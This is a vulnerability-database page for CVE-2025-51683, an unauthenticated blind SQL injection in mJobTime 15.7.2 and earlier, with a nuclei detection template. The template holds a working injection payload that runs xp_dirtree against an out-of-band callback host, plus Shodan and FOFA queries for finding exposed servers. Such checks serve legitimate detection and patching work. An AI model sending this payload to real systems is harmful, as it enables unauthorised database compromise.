HexBrain

Browse / CVEs / CVE-2025-51683

CVE-2025-51683· mjobtime / mjobtime· CWE-89

mJobTime <= 15.7.2 - Unauthenticated Blind SQL Injection to RCE

criticalseverity
9.8CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

mJobtime v15.7.2 contains a sql injection caused by crafted POST request to /Default.aspx/update_profile_Server, letting unauthenticated attackers execute arbitrary SQL statements remotely, exploit requires no special privileges.

Impact

Unauthenticated attackers can execute arbitrary SQL commands, potentially compromising the database and sensitive data.

Fix

Update to the latest version of mJobtime.

How to confirm it

Send: GET /Default.aspx
Positive when: status_code == 200 and contains_any(tolower(body), "mjobtime") and contains_any(header, "ASP.NET", "Microsoft-IIS")
Send: @timeout: 30s
Positive when: contains_any(interactsh_protocol, "dns", "http") and contains_any(header, "application/json", "ASP.NET")

Run it with nuclei: nuclei -id CVE-2025-51683 -u <target>

The full check
id: CVE-2025-51683

info:
  name: mJobTime <= 15.7.2 - Unauthenticated Blind SQL Injection to RCE
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    mJobtime v15.7.2 contains a sql injection caused by crafted POST request to /Default.aspx/update_profile_Server, letting unauthenticated attackers execute arbitrary SQL statements remotely, exploit requires no special privileges.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially compromising the database and sensitive data.
  remediation: |
    Update to the latest version of mJobtime.
  reference:
    - https://labs.infoguard.ch/advisories/cve-2025-51682_cve-2025-51683_time_management_softare_sqli-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51683
    - https://github.com/advisories/GHSA-gp72-w5fg-q33m
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-51683
    epss-score: 0.02144
    epss-percentile: 0.82227
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: mjobtime
    product: mjobtime
    shodan-query: http.html:"mJobtime"
    fofa-query: body="mJobtime"
  tags: cve,cve2025,mjobtime,sqli,rce,unauth,oast,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /Default.aspx HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "mjobtime")'
          - 'contains_any(header, "ASP.NET", "Microsoft-IIS")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: build_version
        part: body
        group: 1
        regex:
          - "BuildNumber\\s*=\\s*'([0-9.]+)'"
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /Default.aspx/update_profile_Server HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8
        X-Requested-With: XMLHttpRequest

        {"UserID":"admin","TheSetting":"ONLINE_ONLY","Company":"1","TheValue":"true' EXEC master.sys.xp_dirtree '\\\\{{interactsh-url}}\\share',1,1--","Method":"update_profile()(scripts.js) --> offLineAuth()(js/Login.js)"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "dns", "http")'
          - 'contains_any(header, "application/json", "ASP.NET")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from